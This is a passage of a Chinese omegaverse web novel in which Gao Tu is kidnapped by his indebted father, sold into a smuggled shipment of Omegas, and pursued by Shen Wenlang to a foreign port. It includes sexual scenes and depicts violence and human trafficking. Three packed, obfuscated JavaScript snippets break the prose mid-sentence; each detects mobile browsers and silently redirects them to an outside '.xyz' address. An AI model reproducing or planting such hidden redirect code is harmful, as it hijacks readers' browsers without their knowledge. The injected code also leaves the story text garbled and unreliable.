高途目光坚定,直视沈文琅的双眼,毫不犹豫地说:“我会的。大学毕业后,我会通过正常的渠道投递简历、参加面试,我想用干净,专业的方式,带着底气,堂堂正正站在你身边。” “这样的小兔子,谁能不爱呢。” 沈文琅的声音低哑,带着难以掩饰的情欲。他俯身吻住高途,像是终于得到喘息机会的野兽,一寸寸啃咬着他唇边的温软。高途被他吻得几乎喘不过气来,手无措地抓着他衣角,身体因为熟悉的气息而不自觉发烫。 “你知不知道,你刚刚那句话……有多撩人?”沈文琅伏在他耳边低语,让高途忍不住颤了一下。 窗帘半掩,城市的灯光投下一道淡金色的剪影。高途知道,在一次又一次地被吻到发颤、被推进到极限时,沈文琅始终紧紧看着他,目光从未移开。那双眼睛里没有一丝犹豫,只有炽热、坚定,和仿佛要把他吞没的深情。 那眼神让人沉溺。 高途心跳快得像要破胸而出,他脑海一片空白,只剩下沈文琅带着体温的呼吸、滚烫的掌心、沉入骨血的低语。他忽然有点想哭,不知道是因为欢愉的极致,还是因为被毫无保留地接纳与珍视。 他愿意沉溺在这份凝视里,哪怕被溺毙,也心甘情愿。 沈文琅似乎感受到了他眼眶的湿意,动作慢下来,额头抵着他的额头,气息交融。 “小兔子……”他轻声唤他,一遍一遍地叫,像是在确认,也像在哄他回神。 高途努力睁眼,却看不清沈文琅的脸,视线模糊了。他紧紧抱住对方,整个人仿佛还悬浮在那场温热潮湿的情潮中,身体像被揉碎了,每一寸都还残留着对方的存在。 他低声说:“我会越来越好,会变得足够强大……这样就可以站在你身边,陪你一直走下去。” 沈文琅抱着他,像是抱住了整片世界。他没有回应,只是将人更紧地锁进怀里。 5. 第五章 年终将至,沈文琅只需元旦之后再回一趟P国,将那边的事务彻底处理妥当,便可以正式常驻江沪。刚好半年后,他们也将迎来毕业,许多曾遥不可及的未来,终于开始落地成形。 这次沈文琅回P国前的最后一个下午,牵着高途在HS未来总部办公园区里缓缓走着。大楼尚未完全启用,但初具规模,落地窗干净明亮,透明连廊连接起三栋主楼,楼下草地平整得像一块绿色绒毯。当前江沪的HS员工规模还不大,多数是实验室的技术人员。沈文琅打算在他这次回来后,用一到两年时间逐步扩张各个职能部门的编制。 高途被他牵着,脚步不紧不慢,偶尔有工作人员或技术人员经过,远远看到沈文琅,都会礼貌地打个招呼。 他们一层一层地往上逛,沈文琅会偶尔停下来解释动线设计、办公区划分和实验室规划。高途跟在他身侧,静静地听着,目光不由自主地随着沈文琅的动作和语调流转。 他没有插话,只在适当的时候轻轻点头。那种专注绝非礼节,而是发自内心的敬意,他知道沈文琅对这座大楼,对整个HS集团,投入了近乎父亲般的付出与责任。正因为如此,沈文琅的每一句话都承载着真切的情感与认真。高途尊重这种态度,仿佛在聆听一个人对自己心血倾注的告白。 走到顶层时,脚下的地毯柔软厚实,几乎听不到脚步声。这里是集团高层与秘书部的所在,隔音极好,外界的喧嚣像被一道无形的屏障隔在门外。四周一片静谧,灯光温润克制,空气中带着一种沉稳的秩序感。 推门而入,是沈文琅的办公室。 他的办公室宽敞明亮,布局极为讲究。靠窗的位置摆着一张和他们家里一模一样的超大沙发。 隔间里还有一间隐秘的休息室。休息室的床边是一盏人高的落地灯,亮着柔和的光,光晕在地毯上晕出一圈圈浅影。 “以后你可以随时来这里休息。” 沈文琅站在他身后,手掌顺着高途的腰侧轻轻收拢,低头贴近他的耳廓,一字一句地说:“也只有你可以进到这里。” 高途眼眶微热,他回头望了沈文琅一眼,眼中藏不住的情绪像漾开的波纹,蔓延得毫无防备。 沈文琅吻了一下他的眉角,然后将他轻轻转过身来面对自己,声音更低、更柔了些。 “明天一早我回P国,处理完那边剩下的事,我就第一时间回来找你。” 他顿了顿,食指勾了勾高途的下巴,让他看进自己眼里。 “小兔子要乖乖的,按时吃饭,不要太想我。你记住….” 他的掌心覆上高途的心口,语气近乎温柔的命令, “我们很快就不会再分开那么久了。” 高途的心暖暖的,眼中的闪闪地水光几乎要溢出来。可还没等他说什么,整个人就被沈文琅一把抱起,翻身按在了身下。 “沈文琅…等等,这里是公……” “是我办公室,”沈文琅低笑,鼻息贴近他的耳廓,热气喷洒“刚才,锁门了。” 说完,他低头在高途颈侧缓缓吻下去,舌尖轻轻舔舐过高途的腺体,高途的身体一阵颤栗一阵酥麻,手指无措的抓住床单,唇边已经控制不住地泄出一声轻喘,这充满情欲的呻吟声,在沈文琅听来宛如天籁之音。 高途被他压在身下,手腕被扣住,整个人完全被牢牢地困住,只能被动承受这份炽热与侵略。可不知是情绪还是本能作祟,他忽然挣脱了沈文琅,翻过身主动缠住沈文琅的腰。 双腿牢牢攀附,左手捏住沈文琅棱角分明的下颌,轻咬住他唇角的腮肉。 那一下带了点狠劲,沈文琅微微一颤,暗爽带着宠溺,像被彻底点燃。他俯身压得更低,吻从锁骨一路落下,细致又缓慢地描摹他肌肤上每一寸细微的战栗。 高途几乎被吻得发软,唇间逸出带着鼻音的喘息,肩膀微颤,每一处肌肤都淡淡泛红,像认命一样揽住沈文琅,将一切交付过去。 沈文琅在他耳边低声道:“我走之前,让我记住你现在的样子。等我回来,你只能更黏我,知道吗?” 沈文琅离开后,距离开学还有几天。这天傍晚,高途像往常一样打烊关店,独自锁好便利店的门。回家的路上,他总感觉后背发凉,像是被什么盯着。 快到公寓门口的时候,一道身影猛地从阴影中窜出来,扯住了他的外套。是高明,那个他许久未见的父亲。 “我说怎么老在你那破出租屋找不到人,合着搬了地儿,还攀上高枝过上好日子了?”声音熟得令人作呕,他瘦了不少,却眼神凶得像野狗,带着股极不自然的兴奋。 高明一脸油滑地靠近,语气瞬间阴沉:“我现在缺钱,你给我凑,如果你不答应,那我就去医院找高晴,她身体可脆弱得很,你不希望她再受什么刺激吧?” 高途一把甩开他,眼神冷得吓人:“钱我会给你,但最多只能拿出两千。你现在住的房子,要不是我按时给房东打钱,你早就被赶出来了。” “两千?”高明听完火气蹭地上来了,说话间朝街口挥了挥手,两个纹身大汉慢慢走来。他露出讨好地笑朝他们介绍:“这是我儿子,最近被有钱人看上了,混得不错。你们带他走,打电话给那人,他肯定出得起钱。” 两个男人显然是常年干这种事的,没废话,直接一左一右架住高途,把他拽上了一辆停在巷子里的车。高途试图挣脱,但胳膊被死死压住,很快被带到了一个陌生的废弃仓库里。 高途的手被反绑着坐在椅子上,脸色苍白,高明在一旁点头哈腰地冲着办公桌后面带着金戒指的男人鹰哥赔笑,他拿着高途的手机,在灯下晃了晃,冲着他咬牙威胁:“把你那个有钱的伴侣的号码说出来,要不我一个个试着打!” 高途死死地盯着高明:“你到底欠了他们多少钱?” 鹰哥眯起眼笑着,举起三根手指:“三百万。利滚利,明天一早就是三百五。” 高明顿时慌了,他按住高途的手解锁了手机,开始翻看联系人。高途瞬间暴怒挣扎,却不敌两个彪形大汉,被粗暴的按回椅子里。 不多时,高明盯上了通讯录里那位备注为“狼”的联系人。他点进去一看,里面的聊天记录暧昧得几乎不留余地。 “就是这个,”他几乎是喜出望外地说着,得意地拨通了那个号码。 无人接听。 又拨——还是没人接。 高途紧咬牙关,心跳乱如鼓。他知道沈文琅正在处理集团财务收尾,整整三天都有闭门会议。这个时间点,他不会看手机,也不会回任何信息。 他感到羞辱,又感到无比庆幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256481|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,至少沈文琅暂时不会看到这些,他不想沈文琅看到自己如今的狼狈,更不想让他被卷进自己原生家庭这些肮脏的过往。 高明不死心,一通通打着,最后急了甚至录了段视频发过去。可无论他怎么折腾,那边都始终没有反应。 高明冷笑着说:“看聊天记录我还以为你们感情有多好呢,结果电话都打不通,真以为你找了个多靠得住的,原来也不过如此。”说罢气急败坏的扇了高途两个耳光,高途几乎从椅子上晃下来,嘴角渗出血来。呼吸越来越紊乱,后颈也慢慢渗出冷汗,他的抑制贴已经贴了整整一天,边缘微微发痒。 不多时,仓库里的人闻到一股浅浅的、奇异的气息,带着鼠尾草的淡香,高途的信息素似乎开始微微逸散。 高明怔了一下,眼神忽然变得贪婪。“……原来你是Omega?”他笑得有点歪,“你妈和你,还真能藏。现在好了,受过好教育的Omega市面上可抢手得很。” 他转头凑近鹰哥,声音压得很低:“听说你们那边有大客户专门收这种的?懂事、不吵事,还干净。” 鹰哥不置可否地挑了挑眉,有个手下凑过来说:“刚刚P国那边来消息,说有位熟客要订十七位Omega,对数一个都不能少,今晚就要发船。报价是市价三倍。” “还差几个?”鹰哥问。 手下数了数角落里那几位蜷缩在地上的人,又看向高途:“加上他,刚刚好。” 鹰哥咧嘴一笑,懒洋洋道:“行吧,那这事儿就算你还利息的一部分。” “送去装箱。” 几名手下麻利地过来,拎出几支注射器,一针扎下去,高途连挣扎的力气都没来得及使,眼前一黑,彻底失去了意识。 P国HS总部的会议室,会议室清场后,沈文琅靠在椅背上,闭了闭眼,才伸手拿起助理递过来的手机。 开机后手机震了又停,停了又震,未接来电的通知一连串地浮现,几乎全是那个他备注“兔”的联系人。 高途。 沈文琅眉心骤然蹙起。 高途不轻易打电话,更不在沈文琅开会时打扰他,这是他们之间默契的一部分。 但这次,竟连续拨了二十多个电话,还有数条未读语音和一段视频。 他第一时间点开视频。 画面晃动中,一个陌生男人的声音低哑压抑地响起:“你是他伴侣吧?把人想带回去,就准备好钱。一千万,明天之前不转账,你就等着给他立碑吧。” 画面里,高途被双手反绑瘫坐在一把金属椅上,低着头,侧脸有道浅浅的血痕,背景看起来像是一间废旧的仓库。 沈文琅的眼神,瞬间冷了下去。 他猛地站起身,狠狠一脚踢开身旁的椅子,怒火几乎要将他吞噬。椅子撞上墙壁,发出一声震耳的巨响,仿佛在宣泄他心底的狂躁。身旁的助理刚想说话还没说出口,就被他冷冷地打断,空气瞬间凝结,紧张得几乎让人窒息。 沈文琅把手机递给助理,“现在立刻让江沪那边的管家联系本地警方报警,我手机里的视频和语音记录全给他们。我要尽快知道这些人的底细。” “我要回江沪,现在。” 他低头扫了眼高途备注下那串连续的未接,指节泛白,唇线抿得死紧。 6. 第六章 管家那边很快传来了消息。 警方第一时间调取了沈文琅与高途所住公寓楼的监控录像。画面中清晰拍到一名中年男子在楼下纠缠高途。经系统比对,确认此人正是高途的生父,高明。 接下来的监控显示,高途被高明及数名男子强行推上了一辆黑色商务车。整个过程迅速而粗暴,显然是蓄谋已久的绑架。 虽然车牌号清晰可见,但经查为伪造的套牌。警方循着车辆逃逸方向和现场目击证词,在城郊一处廉价公寓附近将高明当场抓获。 面对警方的讯问,高明最初百般抵赖,拒不配合。直到被带回警局,在讯问室经历长时间、连续施压后,他才终于低头招供。 他承认自己因沉迷赌博欠下高达三百万的高利贷,债主绰号“鹰哥”,手段狠辣,催债毫不留情。为偿还债务,高明与鹰哥达成交易,由他出面向儿子高途索要钱款;如果高途拒绝就绑架他,再向高途的伴侣勒索赎金。然而多次尝试都联系不上那人,恰巧又发现高途是Omega,高明便动了心思,干脆放弃勒索,直接原地将亲生儿子卖了抵债。 “那边不管人,只认价。”高明语气麻木地说,仿佛早已将亲情抛在脑后。 至于高途被带往何处,高明则显得一无所知。只是含糊地表示,好像是被一群外国人买走了。据他说,那次交易并不是针对高途一个人,而是一整批,一个集装箱的人,被当作货物一样送走。高途,不过是其中之一。至于他们最终会被带往哪里,遭遇什么,他一无所知,也毫不关心。 高明指认的废弃仓库,警方赶到时早已人去楼空。卷帘门大敞着,现场凌乱不堪,空气中残留着刺鼻的消毒水味,地面遍布新鲜的轮胎印。角落几只大型集装箱门敞开,内部杂乱,地上可见多条被粗暴扯断的束带,显示这里曾被用作临时囚禁场所。一部破损严重、显然被车轮碾过的手机孤零零地躺在尘土中。 那正是高途的手机。 警方迅速封锁了废旧仓库及周边区域,但为时已晚,鹰哥和他的手下早在接到风声后连夜逃窜。 调查显示,他们极有可能沿着沿海的隐秘水路潜逃出境,利用复杂的走私网络避开警方追踪。 令人头疼的是,仓库及周围区域完全没有安装任何安保监控设备,缺乏关键的视频证据,使得案件侦破难度大大增加。至于那一集装箱内被非法囚禁的Omega,目前仍下落不明,警方当前也无法确定他们被偷渡到了哪个国家。 在飞往江沪的航班上,沈文琅收到管家汇报的卫星电话后,一股刺骨的寒意猛地沿着脊背爬升,像锈蚀的利刃,一寸寸割裂着他的神经。他的胸腔仿佛被一块沉重的巨石死死压住,连呼吸都变得奄奄一息。眼前一阵模糊,理智像在瞬间被潮水吞没,心口的疼痛翻滚着、汹涌着,一波未平一波又起,将他整个人彻底淹没。 就在那一瞬间,仿佛幻觉般的,他嗅到了鼠尾草的味道。 那股微苦却温柔的气息,不该在这密闭的机舱中出现,可它偏偏如影随形,像从他体内泛出来的幻嗅,一点点浸润他的鼻腔、神经,连同胸腔一同被唤醒。 如果……如果那时候他哪怕接了任何一个电话,会不会,一切都还有转圜的余地?高途是不是就不会从他身边消失,不会被拖入那无边的黑暗里,不知被贩卖到了哪个角落? “是不是……是不是……”无数个疑问像钝刀子,一刀一刀凌迟着他那颗已经千疮百孔的心,疼得他几乎无法发声,连悔恨都成了一种折磨。 他死死攥着手机,屏幕上那段视频一遍又一遍地自动播放。他的手指在发颤,喉咙像堵住了一团灼烧的棉絮,心跳紊乱得几乎停滞。鼠尾草的信息素残留像是一种惩罚,在他的体内翻涌、骚动,他深知此刻的自己,早已被撕成千百块,却只能强撑着,忍受这份无尽的痛苦和无助。飞机的轰鸣声如同冰冷的审判,只有他自己知道,那份沉重和破碎正逐渐将他吞噬。 落地后,沈文琅几乎没有一刻停歇,直接赶往警局。管家早已等候在内,第一时间向他汇报了调查的最新进展。会议室的空气沉闷压抑,仿佛凝固一般。就在这时,门被警员推开,一个人被带了进来。 沈文琅见到了那个一切的始作俑者,高明。一瞬间,血液轰地涌上脑门,他眼前炸出一片猩红。他没有任何犹豫,整个人像一头被激怒的狼,扑了出去。 那动作快得惊人,带着Alpha本能的压迫力,令人胆寒。他骨节分明的手臂挥出的一瞬,肌腱紧绷如弓弦,青筋暴起,拽住高明的衣领狠狠将他按向墙面。指节卡在对方喉咙上的刹那,那股皮革与□□摩擦的脆响,像是撕裂般清晰。 “为什么?!”沈文琅低吼,声音沙哑得几乎不像人,“你告诉我,为什么要这样对他!” 管家急忙上前试图将他拉开,警察们也从各个角落冲上来,现场乱作一团。制服与西装的拉扯声、桌椅被撞翻的声响、还有警长嘶哑的怒斥—— “沈先生,冷静!你再不松手我们只能——” 但沈文琅根本听不进去。他的指腹已深陷高明颈侧,眼角血丝暴涨,整张脸绷紧得像随时会崩裂,空气中充斥着一种危险的、近乎掠夺性的气息,整个人仿佛要将对方撕碎,信息素在失控边缘剧烈翻涌,散发出一种近乎野蛮的掠夺气息。 “快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256482|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退开!”警长朝旁人大吼,“Omega全部先撤出去!现在!” 被沈文琅掐着脖子的高明脸色涨红,却忽然露出一抹诡异的笑意,“啧啧,电话都不接的人,也配谈什么爱?”他咳嗽着笑出声,喉间发出破风箱般的粗哑声,“当初他跪在我面前求我别打扰你的时候,你又在哪儿?现在倒好,装什么深情……” “闭嘴!!!” 沈文琅怒吼,那一声仿佛烧红的刀刃,狠狠劈进自己胸膛。他猛地松手,高明跌坐地上剧烈咳嗽,脸涨得通红,却仍扯着嘴角笑得阴狠。 沈文琅被管家死死抱住,锁骨上青筋如蚯蚓般暴起,信息素在皮肤下鼓胀翻涌,几乎要喷薄而出。他用力克制着Alpha即将暴走的本能,一寸一寸将自己从崩溃边缘往回拖。沈文琅的身体已经不受控制地在发热、暴涨,连周围空气都像染上了Alpha的信息素冲击波,在无法宣泄的本能中疯狂膨胀。 见状,管家毫不犹豫,从内袋中抽出一支高浓度Alpha专用抑制剂。拔掉安全帽贴,一针刺入沈文琅后颈,液体迅速沿着神经线扩散。 “少爷……对不起了。” 针头刺入的瞬间,冷液沿着神经线蔓延开来。沈文琅狠狠一震,整个人像是被拽进冰水,意识从愤怒的火焰中被强行拖回。 他踉跄着后退一步,扶住旁边的桌角,眉间深锁,一滴汗从鬓角滑落。 他低下头,死死盯着高明那张满不在乎的脸,嗓音低沉得像从地底传来:“我不杀你,是不想脏了我的手。高途会因此难过。” 他顿了顿,眼神骤冷,像锋利的冰刃缓缓割裂空气:“但这事——没完。你会为此付出应有的代价。” 短暂的混乱平息后,沈文琅强迫自己冷静下来。他知道,现在唯一重要的,是尽快找到高途。 他迅速指示管家配合警方,从本地港口调取案发当晚所有离港的中型及以上载人船只信息。一次性偷运那么多Omega,只能走水路。 结合高明的供述与沿途监控,警方锁定当夜一辆无牌冷藏运输车驶入码头,并在一艘未登记的中型货船上装载十余人后消失于海域。 除了几艘远洋集装货轮外,当天符合条件的货船仅五艘,分别驶往V国、P国和H国。 沈文琅立刻指示管家:立即同步跟踪所有船只动向,越快越好,不惜一切资源。” 他的信息素仍在不稳定地波动着,像一头被囚禁的兽在体内咆哮。但他的眼神已经重新归于冰冷,那是一种猎人般的冷静。 他会把高途找回来。无论他被带到了哪里—— 他都要,亲自把人带回来。 7. 第七章 江沪,凌晨03:12。 寂静的江沪海事监控大厅里只有服务器的低鸣。沈文琅的管家盯着屏幕上一列更新的放行记录,忽然捕捉到一艘船名Morning Dew。 表面看,这只是条常见的利比里亚籍小型杂货船,可数据越往下翻,疑点越密,船员电子申报显示6人,而AIS热源探测图却分明标出了21个活动人体。 货物类型被写成冷链水产,航行日志里却没有任何冷机燃油补给。 更蹊跷的是,原本列在江沪海关抽检队列里的船只,临出海前突转航向,直接插向P国自由港,仿佛早有准备。 管家心口一沉,不是中型货船? 他记得情报里提的是中型货船接应,怎么换成了一艘小型杂货船? 他立刻调出高明审讯录像回放。大概时间点,船只离港轨迹,完美重合。 如果警方推断没错,那辆一次性塞进十几个Omega的冷藏车,离境渠道只能是水路。而那艘船,或许就是暗舱。 那么,高途,很可能就在上面。 他没有耽搁,立刻拨出电话。 “P国?你说那艘船是去P国的?” 电话那头沈文琅的声音没什么起伏,却像深水里抽出来的一线绷紧。 “立刻联系花咏的常秘书。P国的线索,他能查得到。” P国,凌晨四点。 花咏端着半杯咖啡,神情冷淡:“沈文琅?这会儿不是HS迁址的关键时期?他不在这里吗?” 常秘书翻了翻手机,语气一如既往的平:“昨晚财务收尾会一散,他就包了私人航线回江沪。听说,他那位同学,也有人说是伴侣,被绑架了。” 花咏轻嗤:“……那个脑子不正常的工作狂还会谈恋爱?谁能受得了他那张嘴?”他一顿,目光投向常秘书,“说重点,他找我们干嘛。” 忽然,门被推开。 花咏的亲信快步走进来,脸色绷紧,语调压得极低: “家里有人在江沪一次带走了17个Omega。已经不是第一次了,上回那批被塞去P国夜场,原本以为风头过了。结果这群人不长记性,照旧借咱们的水路。这次,恐怕麻烦不小。江沪跨境警方已经注意到了。” 常秘书淡声接话:“那据沈文琅的管家刚刚找我的电话,应该是沈文琅的伴侣高途就被绑在这艘船上,是17个Omega之一” 花咏闻言,指尖在桌面上轻轻敲了两下,嘴角勾起一抹几不可察的笑:“查出来是谁干的了吗?胆子不小,这次又惹到沈文琅……” “不过正好,可以斩草除根了。” 他收起唇边的笑,手指一下一下地敲着桌面,声响沉稳,像是钟楼里即将响起的丧钟前奏。 “拖得越久,我就越晚去江沪,见不到盛先生……” “都该死。” “走吧,”花咏说完站起身,顺手接过常秘书递来的外套,转身时淡淡一句:“我们去看看,到底是哪个不长眼的玩意儿,动得了他的人。” 与此同时,沈文琅已登上飞往P国的私人航班。 凌晨的航线静得诡异,舷窗外是灰蓝色天幕,一点光都没有。 他已经一天一夜没合眼。过去几天,连轴转的迁址会议和财务清算把时间压得碎裂不堪。他不觉得累,却忽然发现手指一直在颤。那是过度控制情绪后的反噬。 他闭上眼,脑海中却反复浮现一个名字,一张脸。 高途。 飞机划破长空的轰鸣声中,他睁开眼,语气低哑地对身边的助理说:“让他们准备接应。在船靠岸的时候第一时间把人救出来。” Morning Dew上。 黑暗像沉默的水,把船舱整个吞没。 高途醒来时,睫毛轻轻颤了一下,眼前一片模糊。他躺了许久,呼吸慢慢拉长,才逐渐辨清周围的轮廓。 这是一间极其狭窄的底舱,四壁铁皮,头顶几乎贴到压下来的管道。空气闷热,氧气稀薄,一呼一吸都夹杂着汗味和海水腐蚀的铁锈味。 他稍微转了下头,数了一下,身侧密密麻麻躺着十几人,昏睡着,或抽气,或微微颤抖。 17个,都是Omega。沉静得像尸体。 前舱隐约传来几句男人交谈的声音,夹杂着柴油机的震动声和海水拍舷的节奏。他听不清说什么,也分不清外面有几人。 他猜,他们都被打了麻醉,不知道为什么自己醒得比其他人早,大概是剂量出了偏差。 他靠着仓壁,努力回想昏迷前的片段 他们应该是在被贩运到境外了的水路上了。 高途逼自己冷静。这个时候,恐慌没用,只有冷静才能活下去。 他开始试图叫醒同伴。轻轻用肩膀撞了撞身边的人,手肘探过去,小声唤着。 终于,有人睁开了眼。一个Omega,神情还茫然,眼神中却慢慢聚起意识。 那人朝他轻轻一顶,下巴点了点手腕。 高途低头一看,手上的扎带比记忆中松了不少。 他瞬间明白了:他们在昏迷之后被重新绑过,那些人图省事,没有拉紧,以为没人会这么快醒来。 高途和那名Omega对视了一眼,用手势快速交流。他们翻身,背靠背协作,借力拉扯扎带。他肩膀发紧,手指发麻,但那人却灵巧地收紧骨节,一点点抽出自己的手。几分钟后,第一个人挣脱了。 那名Omega小心起身,在船舱里摸索。他们不敢出声,只靠触觉和光线死角搜索任何能用的东西。 不久,他在角落的工具箱里找到一截生锈的金属茅尖。不是刀,但够尖。磨几下,总能切断那点塑料绑带。 他们开始一个一个给其他的Omega割开绑带。天色已从墨蓝转向灰白,远处有微光透进来,高途靠近舱壁朝外望了一眼。船正在靠岸。 时间紧迫。 他们先后解开了剩下五六人,醒来的人越来越多,气氛紧张,但所有人都保持着克制,没有哭喊,没有挣扎,只有越来越重的呼吸声。 高途估摸了下船的体量,加上前舱人声的数量,守船的大概不会超过四人。相比之下,他们现在已醒了七个,若能叫醒更多,人数上有胜算。 但一切仍需靠时机。 他压低声音,对身边几人说:“等他们开舱门,一听到动静就冲出去。我们拦下守船的,只要我们之间有一个人跑出去,就能吸引路人或警察,制造混乱越大越好。” 几人纷纷点头。 气氛像绷紧的弓弦,空气中浸满汗味与紧张。 船身轻轻一晃,靠岸的那一刻,也许就是生与死的分界线。 凌晨5:23,P国自由港。 雾气未散,海风裹着腥咸与寒意,一层层拍在岸边,天色泛白不明。 花咏最先抵达。他静静坐在黑色商务车后排,目光沉沉地望向码头尽头的防波堤。 不久,一阵引擎轰鸣打破沉寂。远处车灯刺破雾气,一辆车疾速驶来,稳稳刹停在他车旁。 沈文琅下车的动作很快,带着一股压着愤怒的凌厉。他拉开车门,径直坐到花咏身侧,衣角未落,话已经出口:“查出是谁干的了?” 他嗓音低哑,眼神冷得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256483|182072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像凌晨没散的雾潮,整个人像蓄着一口气,一触即发。 花咏没答话,只抬了抬下巴。 顺着他的方向看去,一辆厢式货车正驶入港口管控区,前后各有一辆黑色轿车护着,低调又处处透出戒备。 “马上就知道了。”花咏淡淡地说。 此刻,双方人马早已悄然分布于港口四周,连P国的协助警员也混在人群中伪装待命。江沪跨境警力也正在靠近,按照管家的情报,抵达只需十分钟。 不多时,那辆前方的黑车停了下来。车门打开,一道熟悉的身影下车。 ——花咏的四哥。 花咏眯了眯眼,常秘书冷笑一声:“看来这废物,还真是命贱,没吃够教训。” 沈文琅眼神一紧,身形微动,像是要立刻冲上去。花咏却拦住了他,语气冷到骨子里: “现在动手,他一急把人劫到海里怎么办?等船靠稳了再收网,别坏了整锅棋。” 沈文琅咬紧后槽牙,拳头捏得发白,指节骨节一根根绷直。他强行压下冲动,目光却死死盯着前方那条即将靠岸的船。 时间一分一秒过去,船缓缓驶近码头。 海水拍打声愈发清晰。船体靠近时,码头的自动牵引臂启动,与船身轻轻碰撞,随即落锁。 两名守船人员走出驾驶舱,操作舱门锁,放下跳板。整个动作看似平静,却带着一丝急迫与谨慎。 几秒后,负责押人的手下提着钥匙走到底舱门前,打开了暗舱的门。 没人预料到,下一秒,舱门一开,十几名早已挣脱束缚的Omega像潮水般扑了出来。 场面瞬间炸开。 几名守卫当场被扑倒在地,惨叫声混在冲突声中。 港口警员和布控人员反应极快,从四面八方包围上去。花咏的人、沈文琅的人、以及暗处的协警,如海啸般冲进码头核心区域。 混乱中,沈文琅在人群中迅速扫视,忽然瞳孔骤缩。 那是高途。 他正奋力阻拦其中一名守卫,动作果决,眼神专注,完全没注意到整个港口早已被包围。 沈文琅眼神猛地亮了,几乎是本能地向他冲去。 另一边,花咏的四哥也察觉到了异样。 他站在后排车边,脸色从得意转为警惕,然后骤然僵硬。 他知道自己完了。 他顺着沈文琅的眼神望去,也看到了高途。 那一瞬,他什么都明白了。 翻车的原因,不是计划漏洞,而是高途和沈文琅之间那条致命的联系。 在P国自由港搞出这么大的动静,花咏一定不会放过他。若不是那个Omega,他还可以再苟一阵。现在,全盘皆输。 四哥面色骤变,骂了一句“该死”,当机立断。他冲下去,带着两个贴身手下在混乱中迅速擒住高途,强行将人拖进后车。 高途挣扎,抵抗,甚至一度撞翻了副驾驶座,但终究寡不敌众。 车门“砰”地一声关死,黑色轿车猛踩油门,冲出码头,车尾卷起一股刺鼻的烟雾。 沈文琅看到了一切,大吼:“高途!”他奋力的冲破人群想冲过去,却只看到那辆黑色轿车绝尘而去。 “追!”他冷声下令,几乎是跳进车里,带着几辆车队追了上去,同时呼叫附近警力支援封锁出港公路。 身后几辆车同时启动,引擎嘶吼。他一边调动所有港口附近警力封锁出城道路,一边死盯着导航上的点位。 但终究还是晚了一步。 花咏的四哥,已经抢先驶出警戒范围,消失在清晨未亮透的雾色之中。 8. 第八章 花四在出城前的临时路口换了车,用的是花咏父亲留在军区系统中的伪造通行证。也不知道他是什么时候拿到的,那辆银灰色防弹SUV贴着指挥权调令徽标,一路畅通无阻,开进了西南防务基地,边境辖区的灰区地带。 花咏得知消息时,脸色冷得几近冰霜。P国警方同步启动限制措施。以“涉嫌非法拐带”为由,将花四列为通缉犯,沿线布设检查哨点,重点排查港口,高速,小型机场,逐车逐航班清查所有私车与包机。 边检系统挂警,空港管制,高速抽查,边境高压网全面启动,联合行动正式展开。 三个小时后,沈文琅站在沈家庄园的主厅,脸色苍白,手背的青筋绷得像绳索。 他调动一切私人关系,越洋情报与P国的政府线网,可那辆伪装军车就像蒸发了一样,毫无踪迹。 于是他来到这。 沈文琅独自前来,穿过一整段空旷走廊,在沈钰的书房前停下脚步。 他沉声开口:“我需要一条线。” 沈钰头也不抬,正在处理什么文件,眼神像冷金属。 “我的伴侣被花四绑架了。他们还在境内,西南边境线。” “你有路。”沈文琅道,“你帮我找到他。” 沈钰终于抬眼,眼神落在他脸上,一如从前地审视,沉默,最后道:“你为了一个Omega,来求我。” “是。”沈文琅站得笔直,毫不退让。 沈钰冷笑,像听见一桩荒谬交易“你变得像你Omega父亲了。愚蠢。” 沈文琅没说话,眼神一点未变。沈钰却已重新低头,继续翻文件:“出去。” 空气凝成冰。 沈文琅仍语气不变:“我不想跟你谈条件。” 沈钰眼中带上薄怒:“你真是废物。被一个Omega牵着走,还以为自己是在爱。” 沈文琅却道:“你根本不知道什么是爱。” 沈钰脸色沉下:“我可以现在就把你关起来。” 他话音刚落,一扇门突然蓦地撞开,沈文琅的Omega爸爸应翼站在门口。 沈家的家主脸上那种极端冰冷的平静在看到应翼的那一刻,全然消融。 “你敢。”他的声音平静,却让沈钰一瞬怔住。 惊讶、错愕、痛楚、欣喜,复杂的情绪像骤然融化的冰山,七情六欲从他一贯冷漠俊美的脸上浮出来。 沈文琅大呼不妙。 虽然不知道父辈之间具体发生了什么。但从外界隐约的传闻看来,沈文琅认为沈钰一定不会和他一样,为应翼还活着的事欣喜若狂。 沈文琅出于本能地拦在他Omega父亲的面前,他像头警惕的狼,恶狠狠地盯着对面那个给了他一半血脉的Alpha。 然而,事态的发展方向和想象中的大相径庭,它仿佛一节脱轨的列车,朝着沈文琅从未想过的方向奔去。 